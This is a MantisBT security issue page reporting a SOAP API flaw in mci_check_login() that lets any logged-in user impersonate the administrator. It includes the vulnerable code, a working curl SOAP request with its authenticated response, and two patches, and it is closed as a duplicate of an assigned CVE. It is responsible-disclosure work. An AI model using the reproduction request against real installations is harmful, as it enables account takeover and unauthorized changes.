Dependency Graph

Dependency Graph
related to related to child of child of duplicate of duplicate of

View Issue Details

IDProjectCategoryView StatusLast Update
0037166mantisbtsecuritypublic2026-11-22 16:14
Reportertyage1 Assigned Todregad  
PriorityhighSeveritymajorReproducibilityalways
Status closedResolutionduplicate 
Product Version2.28.3 
Summary0037166: SOAP API: cross-user impersonation via cookie_string-as-password in mci_check_login()
Description

In api/soap/mc_api.php, the cookie branch of mci_check_login() resolves $p_password to a user_id via auth_user_id_from_cookie() but never verifies that this user matches $p_username. It then calls auth_attempt_script_login( $p_username ) with no password, which logs in as the requested username because auth_attempt_script_login() skips password validation when $p_password is null (core/authentication_api.php:712).

Result: any authenticated user can impersonate any other user (including administrator) on every SOAP endpoint by sending their own cookie_string as the password of the victim's username.

Vulnerable code (api/soap/mc_api.php, lines 482–495 on release-2.28.1):

# User cookie
$t_user_id = auth_user_id_from_cookie( $p_password );
if( $t_user_id !== false ) {
    if( auth_attempt_script_login( $p_username ) === false ) {  # no password
        return false;
    }
}
Steps To Reproduce

Fresh release-2.28.3 install (MariaDB, PHP 8.4, default settings).

  1. As administrator, create a low-privileged user via Manage → Users (e.g. test1, REPORTER, access_level 25).
  2. Log in to the Web UI as test1 and copy MANTIS_STRING_COOKIE from the browser.
  3. Send this SOAP request:
curl -s -X POST http://<host>/api/soap/mantisconnect.php \
  -H 'Content-Type: text/xml; charset=utf-8' -H 'SOAPAction: ""' \
  --data-binary '<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:tns="http://futureware.biz/mantisconnect"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <soap:Body>
    <tns:mc_login>
      <username xsi:type="xsd:string">administrator</username>
      <password xsi:type="xsd:string">TEST1_COOKIE_HERE</password>
    </tns:mc_login>
  </soap:Body>
</soap:Envelope>'

Response is authenticated as administrator (access_level 90):

<account_data xsi:type="ns1:AccountData"><id xsi:type="xsd:integer">1</id><name xsi:type="xsd:string">administrator</name><email xsi:type="xsd:string">root@localhost</email></account_data><access_level xsi:type="xsd:integer">90</access_level>

The same (attacker cookie + administrator username) combination then succeeds against write endpoints such as mc_project_add and mc_issue_add, with reporter_id = 1 (administrator) persisted in the DB.

Sanity checks confirming the bug is specific to the cookie/username mismatch:

  • A random (non-cookie) string in password → Access denied (cookie verification itself does work).
  • Same request as test1 with test1's own username → Access denied for user test1 (low-privileged sessions are correctly rejected for admin-only ops).

Only the (attacker cookie + administrator username) combination grants elevated access.

Additional Information

[Patch]

Treat the cookie's owner as authoritative and ignore $p_username on this branch:

$t_user_id = auth_user_id_from_cookie( $p_password );
if( $t_user_id !== false ) {
    # The cookie identifies the user; do not trust $p_username here.
    $t_cookie_username = user_get_field( $t_user_id, 'username' );
    if( auth_attempt_script_login( $t_cookie_username ) === false ) {
        return false;
    }
}

[GitHub username]
tyage

[CVSS and CWE]
CVSS v4.0 Base Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N (Base Score 8.7, High)
CWE: CWE-287, CWE-639

TagsNo tags attached.

Relationships

duplicate of 0037121 closeddregad CVE-2026-47156: SOAP API Authentication Bypass -> Privilege Escalation to Administrator 

Activities

dregad

dregad

2026-05-22 03:25

developer   ~0071144

Hello,

Many thanks for your report.

This vulnerability has already been identified by another security researcher (see 0037121) a few days ago. CVE-2026-47156 has been assigned, and a patch is under review. It will be included in upcoming release 2.28.4.

I am therefore closing this as duplicate.

tyage1

tyage1

2026-05-22 03:57

reporter   ~0071145

Thanks for quick response.

That's good to know.

dregad

dregad

2026-05-22 04:39

developer   ~0071148

Last edited: 2026-05-22 04:39

@tyage1, I have added you to the Advisory GHSA-c2xg-qjqw-2v98.

I will also add you to credits, if you tell me how you would like your name to appear.

tyage1

tyage1

2026-05-22 04:53

reporter   ~0071149

I'd appreciate it if you could credit me as Keitaro Yamazaki (@tyage) .

dregad

dregad

2026-05-22 06:19

developer   ~0071150

Last edited: 2026-05-22 06:25

Done.

You will be notified when the 2.28.4 release goes live with the patch, reproduced below in case you care to test and confirm; logic is slightly different than yours, but end result should be the same.

diff --git a/api/soap/mc_api.php b/api/soap/mc_api.php
index 288bb5b44..e1ed1dc34 100644
--- a/api/soap/mc_api.php
+++ b/api/soap/mc_api.php
@@ -483,7 +483,10 @@ function mci_check_login( ?string $p_username, ?string $p_password ) {
                # User cookie
                $t_user_id = auth_user_id_from_cookie( $p_password );
                if( $t_user_id !== false ) {
-                       # Cookie is valid
+                       # Cookie is valid - does it belong to the user trying to log in ?
+                       if( 0 != strcasecmp( user_get_username( $t_user_id ), $p_username ) ) {
+                               return false;
+                       }
                        if( auth_attempt_script_login( $p_username ) === false ) {
                                return false;
                        }

EDIT: fixed messed-up git diff

tyage1

tyage1

2026-05-22 17:27

reporter   ~0071153

Thank you, and the fix looks fine to me!